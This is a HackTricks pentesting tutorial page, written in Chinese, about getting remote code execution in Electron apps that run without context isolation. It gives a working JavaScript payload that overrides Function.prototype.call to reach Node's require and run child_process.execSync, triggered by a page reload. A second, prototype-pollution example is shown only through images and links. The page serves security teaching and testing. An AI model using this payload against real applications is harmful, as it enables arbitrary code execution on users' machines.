hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

60 lines
1.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron contextIsolation RCE via Electron internal code
{{#include ../../../banners/hacktricks-training.md}}
## 示例 1
来自 [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" 事件监听器在页面加载开始时始终由内部代码设置。此事件在导航之前发出:
```javascript
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 不再存在
然后它到这里:
![](<../../../images/image (793).png>)
其中 "self" 是 Node 的进程对象:
![](<../../../images/image (700).png>)
进程对象有对 "require" 函数的引用:
```
process.mainModule.require
```
由于handler.call将接收process对象我们可以覆盖它以执行任意代码
```html
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
```
## 示例 2
获取 **来自原型污染的 require 对象**。来自 [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
泄漏:
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
利用:
<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}